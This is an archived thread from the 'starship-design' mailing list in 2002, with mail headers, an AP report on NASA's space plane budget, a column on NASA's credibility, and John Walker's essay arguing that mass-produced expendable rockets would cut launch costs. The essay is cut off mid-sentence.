= Reagan=20 administration, has been an unsettled issue for years between NASA and = Congress.=20 After the agency announced last year that it faced cost overruns that = could=20 reach more than $600 million, Congress put a $25 billion cap on the = project.=20   Sean O'Keefe, a former federal budget officer, was named NASA = administrator=20 in January with specific instructions from the White House to define and = control=20 the costs of the space station and other NASA programs.   The core components of the plan   In the budget amendment proposal, O'Keefe describes what he calls a = ""new=20 integrated space transportation plan"" that would complete the core = components of=20 the space station by 2004; extend the life of the aging space shuttle = fleet;=20 complete design of a new orbital space plane; and continue development = of a new,=20 reusable spacecraft and launch system to replace the shuttle.   He said the amendment would not add to the proposed NASA 2003 budget = of $15=20 billion, but would redirect some funds.   O'Keefe said his plan inserts a ""systemic approach"" into NASA's space = transportation activities, instead of having each element of space=20 transportation acting as a separate program.   ""All of the elements have a relationship to each other,"" O'Keefe = said.   Break down the costs   The budget amendment calls for spending:   * $1.6 billion to upgrade and improve = the=20 four-vehicle space shuttle fleet so it could operate until about 2012. = The plan=20 leaves open an option of extending shuttle usage into the 2020s. =   * $15.2 billion over the next decade = or so to=20 add a fifth shuttle flight to the annual schedule. The shuttle has been = limited=20 by budget constraints to four flights a year and nearly all have been = dedicated=20 to assembly of the space station. The added flight could be used to = accelerate=20 station assembly or to perform other missions that are not now = possible.=20   * $6.6 billion through 2006 to finish = the basic=20 assembly of the space station. This includes completion and installation = by=20 February 19, 2004, of Node 2, a U.S.-made cornerstone component to which = European and Japanese components will be attached. ""Node 2 completion is = a big=20 deal for us,"" said O'Keefe.   * $1.8 billion to support biological = and=20 physical research aboard the space station.   * $2.4 billion to research and develop = technologies needed to build a new space system to replace the shuttle. = This=20 money would continue a long-range effort to develop a reusable craft = that could=20 frequently fly into orbit with less preparation and effort than is = required for=20 the space shuttle. O'Keefe would not estimate the final cost of such a = craft,=20 but a chart released by the agency suggested it would first fly in = 2015.=20   * $2.4 billion to complete by 2004 the = design of=20 a new space plane that is intended specifically to ferry people in and = out of=20 space. O'Keefe said the design is still uncertain, but it would be a = reusable=20 spacecraft launched by expendable rockets. It could carry as many as 10 = people.=20 The plan calls for the craft to start operations sometime between 2008 = and=20 2010.   Some members of Congress have complained that the space station crew = size has=20 been limited to three, the maximum number that could crowd into the = Russian=20 Soyuz, an evacuation craft attached to the station as a safety measure. = Since=20 maintaining and operating the station requires almost the full-time = efforts of=20 the three-member crew, some in Congress say little science has been = performed in=20 the multibillion-dollar orbiting laboratory. An independent space plane = could=20 allow more people to live on the station and conduct more research.   Copyright 2002 The Associated Press. All rights reserved. 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(majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAF3SPtD002031 for ; Thu, 14 Nov 2002 19:28:25 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gAF3SPAZ002030 for starship-design-outgoing; Thu, 14 Nov 2002 19:28:25 -0800 (PST) Received: from imo-r05.mx.aol.com (imo-r05.mx.aol.com [152.163.225.101]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gAF3S9tD001902 for ; Thu, 14 Nov 2002 19:28:24 -0800 (PST) Received: from KellySt@aol.com by imo-r05.mx.aol.com (mail_out_v34.13.) id 4.69.306a8699 (25098); Thu, 14 Nov 2002 22:27:41 -0500 (EST) Message-ID: <69.306a8699.2b05c3ad@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: Re: starship-design: NASA wants space plane, new shuttle Date: Thu, 14 Nov 2002 22:27:41 EST A very outdated couple of designs, but at least they are suggesting shuttle replacement. A more interesting article was that NASA contracted GE to test a demonstrator for a turbo jet based system (like the one used on the SR-71's) that go go up to mach 4.5. GE hoped to be able to deliver a 15 to 1 thrust to weight ratin. Now that would do a nice job in a first stage TSTO. ;) In a message dated 11/14/02 6:39:46 PM, lparker@cacaphony.net writes: >Legal Pad StationeryNASA wants space plane, new shuttle > > > >Thursday, November 14, 2002 Posted: 1:39 PM EST (1839 GMT) > > > > > > > > > >WASHINGTON (AP) -- NASA is proposing to spend $2.4 billion over the next > >four years to design a new orbital space plane to ferry astronauts between > >Earth and the International Space Station. > > > > > > > >In an amendment to the National Aeronautics and Space Administration's > >proposed 2003 budget, agency officials for the first time set a firm figure > >of $6.6 billion for completing assembly of the basic orbiting space station. > >That would bring the U.S. share of the international project to less than > >$25 billion, officials said. > > > > > > > >The precise cost of the space station, a project started during the Reagan > >administration, has been an unsettled issue for years between NASA and > >Congress. After the agency announced last year that it faced cost overruns > >that could reach more than $600 million, Congress put a $25 billion cap >on > >the project. > > > > > > > >Sean O'Keefe, a former federal budget officer, was named NASA administrator > >in January with specific instructions from the White House to define and > >control the costs of the space station and other NASA programs. > > > > > > > >The core components of the plan > > > >In the budget amendment proposal, O'Keefe describes what he calls a ""new > >integrated space transportation plan"" that would complete the core > >components of the space station by 2004; extend the life of the aging space > >shuttle fleet; complete design of a new orbital space plane; and continue > >development of a new, reusable spacecraft and launch system to replace >the > >shuttle. > > > > > > > >He said the amendment would not add to the proposed NASA 2003 budget of >$15 > >billion, but would redirect some funds. > > > > > > > >O'Keefe said his plan inserts a ""systemic approach"" into NASA's space > >transportation activities, instead of having each element of space > >transportation acting as a separate program. > > >From VM Mon Dec 2 12:30:21 2002 Content-Length: 10406 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""10406"" ""Thursday"" ""28"" ""November"" ""2002"" ""07:18:40"" ""-0600"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""194"" ""starship-design: Small Steps Keep Us Grounded"" ""^From:"" nil nil ""11"" nil ""starship-design: Small Steps Keep Us Grounded"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASDJQxn021111 for ; Thu, 28 Nov 2002 05:19:26 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gASDJQI5021110 for starship-design-outgoing; Thu, 28 Nov 2002 05:19:26 -0800 (PST) Received: from harrier.mail.pas.earthlink.net (harrier.mail.pas.earthlink.net [207.217.120.12]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASDJOxn021105 for ; Thu, 28 Nov 2002 05:19:25 -0800 (PST) Received: from user201.net343.fl.sprint-hsd.net ([65.40.28.201] helo=broadsword) by harrier.mail.pas.earthlink.net with smtp (Exim 3.33 #1) id 18HOZf-0004VQ-00 for starship-design@lists.uoregon.edu; Thu, 28 Nov 2002 05:19:24 -0800 Message-ID: <000f01c296e0$ab9059c0$0201a8c0@broadsword> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: Small Steps Keep Us Grounded Date: Thu, 28 Nov 2002 07:18:40 -0600 Small Steps Keep Us Grounded The Spacefaring Web 2.19 by John Carter McKnight Scottsdale - Nov 22, 2002 NASA's recent budget request is uninspiring, reactive and constraining - and just what the doctor ordered. Agency Administrator Sean O'Keefe has apparently realized that our grandiose dreams of near-term space triumphs are simply shattered, leaving us - government, industry and advocacy alike - with the unglamorous work of living within our means, delivering on our promises, and slowly building a new space infrastructure, one that, this time, can last. There's an old saying that the best is the enemy of the good enough. NASA, following in the family tradition of its older brother, the Pentagon, has spent twenty years proving the maxim. President Reagan's little $8 billion Space Station Freedom managed to misplace $5 billion last year, in its 18th year of bureaucratic life. Despite the ""faster, better, cheaper"" mantra, the engineering bells-and-whistles mindset, coupled with government budgeting procedures, has caused most projects to bloat. The gap between expectations and results then gets filled with ""viewgraph engineering,"" more grandiose promises, coupled with requests for yet another one-time-only emergency handout. NASA and its dependent contractors are not alone in overpromising and under-delivering. Space advocacy's track record is, if anything, worse (""L5 in '95,"" for example). Volunteer enthusiasm couples with pent-up demand fed by NASA's failure to deliver on its promises to create the same dynamic. Ambitious projects are declared, discussed in a frenzy of chat-board activity - then, like so many amateur rockets, either fizzle or explode. Entrepreneurial space companies, often drawn from the ranks of either advocates or frustrated veterans of NASA disappointments, have followed the same pattern: the initial draft of the business plan (if they're that realistic) calls for conquering the Solar System, producing two dozen products and making billionaires of their first round investors, all in five years. To their credit, though, the entrepreneurs have been the first to learn the lesson of ""foundations first."" The die-off of many of the launch vehicle startups triggered an increase in professionalism and a decrease in grandiosity among their successors. Many current space startups have much more business savvy and vastly more humble - and achievable - goals than their predecessors did. The lessons they learned in the unforgiving school of the marketplace are finally beginning to spread to their governmental and advocacy peers. The space community had no monopoly on excess, to be sure. We've all been down that road. Overpromising was what the latter 1990s were about. While space has had its own dynamic, driven by NASA's pervasive lack of realism, the entire Western economy was, if not, as the Texans say, ""all hat and no cattle,"" at least running with a hat/cattle ratio that no sober banker (had there been any) would have approved. That party's over. NASA must rebuild credibility with the public, with Congress and with its international partners, deliver on promises already made, and live within its budgetary means. Advocacy must do the same. The NASA budget request is a courageous attempt to meet those critical requirements of credibility, frugality and infrastructure repair. The Space Launch Initiative was shaping up to generate a replacement for the Shuttle as disastrously out of step with fiscal and mission requirements as the original has been. There is no good solution to the problems caused by unsafe, spectacularly expensive and antiquated transportation to a largely worthless destination. Sacking the SLI program while extending the life of the existing orbiters and developing a relatively cheap lifeboat capable of supporting a full crew complement on the International Space Station, is a good faith, ""good enough"" fix. Hopefully, this approach, grounded in a blessed lack of vision, will spread through NASA's upper management. The agency's ""NExT"" initiative, despite some very positive elements, smacks too much of a re-creation of the process that diverted the bulk of its attention and resources into the Station and Shuttle, to precious little relative return. More microgravity mega-engineering does not seem a reasonable response either to NASA's own priority of exploring life's origins, or to the public and commercial demand for affordable access to space. Criticism of this sort of bureaucratic ""beau geste"" has been coming from interesting quarters. The Economist, the British news weekly, has long been fanatically hostile to human spaceflight. Yet its November 14 editorial marks a change in tone. While still scathing (""It is true that science can be done in the space station. But science can also be done dressed in a clown suit atop a large Ferris wheel""), the editors go on to express sentiments that could have come from this column: [F]or decades there has been a huge pent-up demand for flights into space. Although the private sector is finally making some progress towards this, NASA should have been there years ago. What is still needed is research and development on economical and safe space transport for the public at large. Space, like the Wild West, can be truly opened up by the private sector. NASA's central goal in human space flight should be to make that possible. A broad consensus seems to be coalescing around this radical view. The Commission on the Future of the United States Aerospace Industry delivered its final report to the Administration this week. No visionary programs are called for: rather, the focus is on rebuilding infrastructure, improving basic research and removing trade barriers - the impediments to spacefaring identified in the previous issue of this column. The Commission calls for a realignment of Federal efforts around these unglamorous but essential issues. The advocacy community as well should follow suit, to aid in this effort and to redeem itself from the overpromising/under-delivering space curse. This past week marked the twentieth anniversary of a fringe organization whose beginnings were much less promising than those of the space groups', but whose influence, unlike that of our community, has become immense. The Federalist Society began as a campus-based movement of conservative, statist law students in an era when the top law schools were largely liberal and biased against the exercise of imperial power. It was a fringe organization regarded with deep suspicion by mainstream students and faculty (as I recall from firsthand experience, having attended law school with co-founders of the organization in its second year of existence). Yet its anniversary was noted prominently in the New York Times - as the commemorative celebration was attended by a Supreme Court Justice and the Attorney General. No cabinet-level official has ever attended a space-advocacy party, to the best of my knowledge. What did the Federalist Society do right that the various space societies have not? Three things of utterly critical significance: it focused on training and promoting cadre, and on engaging in genuine, respectful debate with its opponents. Also, it did not squander its energy on personality-driven factional infighting or schismatic doctrinal squabbles. The space advocacy organizations should learn that lesson and radically revision themselves around those two positive projects. The Federalist Society made the front pages because it spent twenty years recruiting bright students who were receptive to its message, training and indoctrinating them, and networking them with alumni and supporters in positions of influence. In less than a generation their strategy has given them policy dominance over the Federal agency of concern to them, the Justice Department. Imagine if a space organization could have placed its members throughout the NASA hierarchy, claiming the Administrator and the Secretary of Defense as allies - we might actually have a Federal space effort accomplishing something other than intellectual and financial bankruptcy restructuring. The other critical technique involves recruiting one's adversaries as marketing representatives. By providing a forum for liberal and libertarian opponents to hone their arguments through debate, the Federalist Society forced those opponents to accord it respect and legitimacy. By putting their people on panels alongside respected mainstream opinion leaders, they declared themselves peers and serious players. When their opponents would go out marketing themselves, they would likely refer to having assailed their Federalist Society adversaries - again, marking the once-fringe organization as a legitimate peer of the prominent mainstream figure. Space advocacy groups have consistently chosen to preach to the choir rather than to engage their critics. This choice ghettoizes us, prevents us from becoming truly proficient or convincing in delivering our message, denies us the opportunity to win over moderates who have only heard the opposition's case, and denies us the leverage of putting our adversaries to work marketing us. There has been talk of engaging the environmental and religious communities, of opening a dialog with the technologically-skeptical ""Party of Nah,"" but little concrete action. Our failure costs us influence. NASA now has an opportunity to rebuild its financial, reputational and physical infrastructure. Only when this process is complete will it be able to move on to grander things. By abandoning the impulse to build deep-space Egyptian pyramids in favor of more mundane and infinitely more useful Roman roads, the agency may actually accomplish its true goal of opening the space frontier. If the space advocacy groups similarly choose to abandon millennial fervor and narcissistic self-destruction in favor of recruiting, training and influence-building, they can provide the leadership of government and industry necessary for opening that frontier. Critical to both efforts is accepting that, for now, building a spacefaring civilization does not involve grand theorizing, viewgraph engineering or marching gaily off to triumph. For now, revolutionary patience lies in inspiring the kids, paying the bills and building the roads. If we do those things right, the triumphs will surely come. >From VM Mon Dec 2 12:30:22 2002 Content-Length: 1576 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1576"" ""Thursday"" ""28"" ""November"" ""2002"" ""08:18:46"" ""-0800"" ""Curtis Manges"" ""clmanges@yahoo.com"" nil ""31"" ""Re: starship-design: Small Steps Keep Us Grounded"" ""^From:"" nil nil ""11"" nil ""starship-design: Small Steps Keep Us Grounded"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASGImxn021663 for ; Thu, 28 Nov 2002 08:18:48 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gASGIluj021662 for starship-design-outgoing; Thu, 28 Nov 2002 08:18:47 -0800 (PST) Received: from web13606.mail.yahoo.com (web13606.mail.yahoo.com [216.136.175.117]) by darkwing.uoregon.edu (8.12.6/8.12.6) with SMTP id gASGIkxn021657 for ; Thu, 28 Nov 2002 08:18:47 -0800 (PST) Message-ID: <20021128161846.63730.qmail@web13606.mail.yahoo.com> Received: from [206.148.92.125] by web13606.mail.yahoo.com via HTTP; Thu, 28 Nov 2002 08:18:46 PST MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""0-996719018-1038500326=:63671"" Precedence: bulk Reply-To: Curtis Manges From: Curtis Manges Sender: owner-starship-design@lists.uoregon.edu To: starship-design Subject: Re: starship-design: Small Steps Keep Us Grounded Date: Thu, 28 Nov 2002 08:18:46 -0800 (PST) --0-996719018-1038500326=:63671 Content-Type: text/plain; charset=us-ascii Gentlemen, I hadn't heard the term ""viewgraph engineering"" before, and I'm wondering, could this be like a computer simulation of something that doesn't exist (yet, anyway)? Enlighten, please. Keep looking up, Curtis ""L. Parker"" wrote: The gap between expectations and results then gets filled with ""viewgraph engineering,"" more grandiose promises, coupled with requests for yet another one-time-only emergency handout. --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now --0-996719018-1038500326=:63671 Content-Type: text/html; charset=us-ascii Gentlemen, I hadn't heard the term ""viewgraph engineering"" before, and I'm wondering, could this be like a computer simulation of something that doesn't exist (yet, anyway)? Enlighten, please. Keep looking up, Curtis  ""L. Parker"" wrote: The gap between expectations and results then gets filled with ""viewgraphengineering,"" more grandiose promises, coupled with requests for yet anotherone-time-only emergency handout.Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now --0-996719018-1038500326=:63671-- >From VM Mon Dec 2 12:30:22 2002 Content-Length: 422 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""422"" ""Thursday"" ""28"" ""November"" ""2002"" ""16:00:21"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""15"" ""Re: starship-design: Small Steps Keep Us Grounded"" ""^From:"" nil nil ""11"" nil ""starship-design: Small Steps Keep Us Grounded"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL0Xxn016240 for ; Thu, 28 Nov 2002 13:00:33 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gASL0X9e016239 for starship-design-outgoing; Thu, 28 Nov 2002 13:00:33 -0800 (PST) Received: from imo-m03.mx.aol.com (imo-m03.mx.aol.com [64.12.136.6]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL0Wxn016218 for ; Thu, 28 Nov 2002 13:00:32 -0800 (PST) Received: from KellySt@aol.com by imo-m03.mx.aol.com (mail_out_v34.13.) id z.18a.11f1ac4f (18403) for ; Thu, 28 Nov 2002 16:00:21 -0500 (EST) Message-ID: <18a.11f1ac4f.2b17dde5@aol.com> MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: starship-design@lists.uoregon.edu Subject: Re: starship-design: Small Steps Keep Us Grounded Date: Thu, 28 Nov 2002 16:00:21 EST In a message dated 11/28/02 11:20:09 AM, clmanges@yahoo.com writes: >Gentlemen, >I hadn't heard the term ""viewgraph engineering"" before, and I'm wondering, >could this be like a computer simulation of something that doesn't exist >(yet, anyway)? >Enlighten, please. >Keep looking up, >Curtis I think its engineering concepts to the point of cool looking slide presentations, but which will never get past that. Kelly >From VM Mon Dec 2 12:30:22 2002 Content-Length: 29837 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""29837"" ""Thursday"" ""28"" ""November"" ""2002"" ""15:59:56"" ""EST"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""1136"" ""starship-design: A Rocket a Day Keeps the High Costs Away"" ""^From:"" nil nil ""11"" nil ""starship-design: A Rocket a Day Keeps the High Costs Away"" nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL0Bxn016176 for ; Thu, 28 Nov 2002 13:00:11 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gASL0Ah9016175 for starship-design-outgoing; Thu, 28 Nov 2002 13:00:10 -0800 (PST) Received: from imo-r02.mx.aol.com (imo-r02.mx.aol.com [152.163.225.98]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gASL09xn016115 for ; Thu, 28 Nov 2002 13:00:09 -0800 (PST) Received: from KellySt@aol.com by imo-r02.mx.aol.com (mail_out_v34.13.) id 4.e4.315e70ca (18403); Thu, 28 Nov 2002 15:59:57 -0500 (EST) Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit X-Mailer: AOL 5.0 for Mac sub 39 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu To: lparker@cacaphony.net, starship-design@lists.uoregon.edu Subject: starship-design: A Rocket a Day Keeps the High Costs Away Date: Thu, 28 Nov 2002 15:59:56 EST ============================================================================== = A Rocket a Day Keeps the High Costs Away ======================================== by John Walker September 27, 1993 There's a pretty general consensus that one of the greatest barriers to the exploration and development of space is the cost of launch to low earth orbit. The incessant and acrimonious arguments among partisans of the Shuttle, DC-*, NASP, TSTO, Big Dumb Boosters, bringing back the Saturn V, buying launches from the Russians and/or Chinese, or of developing exotic launch technologies (laser, electromagnetic, skyhook, etc.) conceal the common premise of all those who argue--that if we could launch payloads for a fraction of today's cost, perhaps at a tenth to a thousandth of today's rates of thousands of US$ per kilogram, then the frontier would open as the great railway to orbit supplanted the first generation wagon trains. The dispute is merely over which launch technology best achieves this goal. Conventional wisdom as to why industry and government choose not to invest in this or that promising launch technology is that there aren't enough payloads to generate the volume to recoup the development cost and, in all likelihood, there never will be. How much would it cost to find out if this is true? What we pay today ----------------- Could we take a moment's pause from debating which is the best successor to the outrageously expensive way we launch now and, as engineers, ask ourselves just why it is that rockets have to cost tens or hundreds of million of US$ per shot. Space FAQ space/launchers gives approximate per-launch costs of representative systems on which commercial launches can be purchased as: Vehicle Mission cost, US$ millions ------- -------------------------- Scout G1 12 Pegasus 13.5 Soyuz 15 Long March 3 33 Titan II 43 Delta 45 - 50 Proton 35 - 70 Zenit 65 Atlas 45 - 85 Ariane 4 65 - 115 Energia 110 H-2 110 Titan III 158 Titan IV 315 - 360 I've deliberately not included data on performance, reliability, or anything else because that would distract us from the most striking observation about these vehicles; each and every one of them, whatever the technology, country of origin, original design intent, launch history, fuel and oxidiser, success or failure in the commercial launch market, have mission costs in ranging from tens to hundreds of millions of US$. Why is this? Why do rockets cost so much? What's in a launcher? --------------------- Let's simplify the problem by focusing entirely on expendable boosters built with current technologies--those used in the existing launchers named above. Further, let's consider only pure liquid-fueled launchers (with the exception of Scout and Pegasus, the core stages of each of the above launchers are liquid rockets). From an engineering standpoint, then, what is a rocket? Well, it consists of a collection, often vertically stacked, of: Cylindrical fuel and oxidiser tanks Rocket engines (including turbopumps, gas generators, etc.) Guidance mechanisms (gimbal joints, hydraulic actuators, APUs) Guidance and navigation system (IMU, GPS, radio command receiver) plus other ancillary details like range safety receivers and telemetry sensors and transmitters and the like, and that's about it, isn't it? Now the question that comes to mind is this: why should something like that cost tens to hundreds of millions of US$? Cylindrical fuel tanks aren't that expensive, and they make up most of the rocket. (Sure, if you're striving for every last gram of throw-weight in an ICBM, you can push the tankage cost as high as you like, but in a commercial launcher?) And rocket engines are finicky, complicated, and intolerant of defects. Well, yes...but so is a DOHC 4 valve per cylinder turbocharged, intercooled V-8 internal combustion engine, and nonetheless one can purchase such an engine, integrated into a ground transportation vehicle, from a number of manufacturers at a cost three orders of magnitude less than that charged for the rocket, and expect it to function without catastrophic failures or extensive maintenance, for five years, tens of thousands of kilometers, and thousands of mission cycles. Guidance? Again, as long as we aren't gram-shaving, this is pretty mundane stuff--the hydraulics can mostly be adapted from airliners, and the electronics from a PC--""mem'ry for nothin', chips for free"". (For an LEO launcher we don't need radiation-hardened electronics.) The first mass-produced launcher -------------------------------- We've seen from the ""standing army"" argument for launchers requiring minimal (airline-scale) ground mission support the impact of fixed costs on per-mission costs when the number of missions is limited. But the presence or absence of a ""standing army"", and the frequency of flights over which fixed costs are spread, isn't fundamentally linked to whether the launcher is reusable or expendable. Consider the following mass-produced expendable rocket. Number manufactured: 6,240 Number launched: 3,590 Successes: 2,890 (81%) Failures: 700 (19%) In inventory: 2,100 Work in progress: 250 Expended in development: 300 Development program cost: US$ 2 billion Development cost per launcher: US$ 350,512 Total manufacturing cost per launcher: US$ 43,750 Marginal cost, launchers 5000+: US$ 13,000 (Yes, 13K!) These are actual figures for the first mass-produced rocket vehicle, the V2 (A4)--fifty years ago. Prices are in US wartime dollars. Stating the obvious.... The V2 was a suborbital vehicle, intended to lob high explosive over relatively short distances. Quantity production of the V2 at Mittelwerk was accomplished with unpaid slave labour under the brutal rule of the SS. And the failure rate was unacceptable by current standards. And yet...consider that this was the very first space-capable rocket ever built. That it was manufactured under the constraints of a war that Germany was losing, subject to aerial bombardment by night and by day, with continual supply shortages. That, as a consequence of Nazi slave-labour, the desperate war situation, and the state of current technology, no significant automation was applied to its manufacture. In February 1945 the underground Mittelwerk V2 factory delivered 800 ready-to-launch V2s; after the war U.S. intelligence expert T. P. Wright estimated that at full production, unconstrained by wartime shortages, the Mittelwerk plant could have produced 900 to 1000 V2s per month. One thousand rockets per month...fifty years ago. Think about that. A Rocket a Day -------------- Suppose we translate these figures, almost incomprehensible by modern standards (*three hundred* launch vehicles expended in the development program!) into quasi-modern terms. Consider an orbital launch vehicle two-stage, say, clean and green thanks to LH2/LOX propulsion in all stages. Engines: J2 or RL10s or follow-on uprated versions (we'll have plenty of opportunity to develop them and phase them in). A simple two stage cylindrical stack like Titan II, with GPS or ground-commanded navigation. Payload interface is a big ring with bolt-holes and a standard fairing with plenty of volume inside. Sounds a lot like NLS/SpaceLifter, doesn't it? STMEs may have marginal advantages over sea-level-optimised derivatives of RL10 or J2, but otherwise what's the difference? What if we launch one every day? Three hundred and sixty-five a year. That would be less than one twenty-fifth the production rate of the V2 under concentrated Allied bombardment in 1945. How much would each one cost? Assume we expense the development cost or amortise it over a sufficiently large number of vehicles that it can be ignored. Further, assume that our bigger, more complicated (two-stage), and higher tech (LH2/LOX instead of Ethanol/LOX), launcher costs ten times as much as the V2, and that 1945 wartime dollars convert into current dollars at 10 to 1. Then, starting with the US$13,000 marginal cost of a V2, we arrive at a cost of US$1.3 million per launch vehicle. If we launch one a day our total vehicle budget will be US$475 million per year--comparable to a single shuttle flight (no, I don't want to re-open *that* debate again; let's just say it's the same order of magnitude, OK?). If our mass produced LH2/LOX launcher equals the performance of the Delta 6925 by placing 3900 kg in LEO, the cost to LEO is US$333/kg; if we achieve better throw-weight, this figure goes down accordingly. If we build the thing so cheap, dumb, and heavy that its payload is only 1000 kg--one metric ton--the cost rises to US$1300/kg, which is still a factor of ten lower than the comparable cost to LEO for Ariane, Atlas, Delta, and Titan. Logistics and Ground Support ---------------------------- Okay, you say, suppose mass production in these absurd quantities could actually drive the hardware cost down to less than a million and half per bird, we still haven't accounted for the standing army that launch operations require. If it takes thousands or tens of thousands of people to launch tens of vehicles per year, won't it take hundreds of thousands to launch one every day? Well, why should it? Again consider the V2. In the two weeks from September 18-30 1944, a total of 127 V2s were launched from five different launch sites. That's an average of almost ten a day. This was accomplished by two mobile groups totaling about 6,300 men and 1600 vehicles, forced to relocate frequently due to the Allied advance, and subjected to frequent aerial bombardment. It was estimated that, given adequate supply, one hundred V2s could be launched per day in a ""maximum effort"" by the mobile units, and that a rate of half that, 350 per week, was sustainable. Parkinson's law notwithstanding, why, after fifty years of technological progress and experience in launch operations, should it take tens of thousands of people and hundreds of millions of dollars to achieve a launch rate one fiftieth that of a V2 group launching the very first operational ballistic missile from a launch site with tanks and infantry advancing toward it and airplanes flying over dropping bombs on them? Yes, LH2 is trickier to handle; a multistage rocket requires a more complicated launch and service facility, and so on. But if we design up-front for a sustained launch rate of one per day, can we not find ways around these problems? Perhaps a mobile transporter / erector / launcher like SS24 or Pershing II, with fuel and oxidiser delivered by underground pipes that attach to the launch truck. Or something.... Let's tell the engineers to go figure it out and see if they come up with something that works. It can't be impossible; the Soviet R-7 series launchers (Vostok / Voskhod / Soyuz) almost furnish an existence proof. These launchers, despite their mechanical complexity (4 liquid boosters and 20 first stage engines), are typically launched one to two days after horizontal delivery to the pad. On several occasions beginning in 1962, two manned launches were made from the same pad less than 24 hours apart. On October 11-13 1969, three manned missions (Soyuz 6, 7, and 8) were launched from the same pad within 48 hours. If we use contemporary sensors and computers to automate the fueling and checkout, why does the ""launch team"" need to be huge? Bob drives the launcher out to the middle of the circle of concrete, hooks up the hoses, then goes back to the blockhouse and presses the green ""Start"" button. An hour later, or so, the ""Ready"" light comes on, and at High Noon he pushes the red ""Go"" button. Sitting immediately to his right Fred, in the blue suit, follows the proceedings on a laptop computer with his index finger on the orange ""Oops"" button. Assuming things go OK, ten minutes after the ship lifts, Bob goes out and drives the launch truck back to the garage where it's reloaded with the next rocket (assume we have ten trucks, or so, to pipeline the setup process and account for attrition). Then it's off the cafeteria for lunch. Excess Capacity --------------- Every proposal, prosaic or exotic, for a high-capacity, fast-turnaround launch system immediately runs into the objection, ""There just aren't enough payloads to make the system pay. Other than a few established markets for satellites, there just aren't that many profitable, useful, or interesting things to do in space right now, and we already have too many launchers chasing too few launch customers."" This is the heart of the chicken-and-egg problem that is blocking the development and exploration of space. As long as launches cost tens or hundreds of millions of US$ each, only governments and the very largest corporations will be able to afford them, and only for the most obvious and essential purposes, such as communication, earth resource, navigation, and reconnaissance satellites. And as long as the number of such payloads is less than a hundred per year, who is realistically going to pay to develop a launcher capable of sustained rates many times as great, however cheap it ends up being? You'd just end up with a huge pile of rockets gathering dust waiting for payloads, wouldn't you? Would you? Consider the following scenario. The Agency announces a procurement in which bidders are invited to provide launches, one per day, of 2000 kg or more to a standard Low Earth Orbit, mating with a specified payload and shroud interface and to a prescribed set of services on a flat concrete pad. A suitably derated payload is specified for polar orbit. Bids of more than US$1.25 million per successful launch will be returned unread. The winner of the bid will be awarded a fixed-price contract for 1000 launches at the agreed price. The first 100 launches will be considered development flights and will be purchased at the bid price regardless of success or failure; afterward only successful launches will be purchased. The procurement will be re-competed every 1000 launches; if a new vendor wins with a substantially lower cost per launch, they will be granted the same development period for the first 100 flights. The vendor retains all rights to the launcher design and is free to offer it on the open market independent of the Agency. Immediately the launch contract awarded, the Agency announces the availability of daily flights of 2000 kg to LEO or 1500 kg to polar orbit. Commercial enterprises may purchase launches for whatever purpose they wish at a price equal to the Agency's cost per launch plus 25%. Unsold flights are offered on a first-come, first-served basis to researchers, government agencies, and individuals. In the event of excess demand, non-commercial proposals will be selected by a peer review process similar to that used to allocate telescope time at 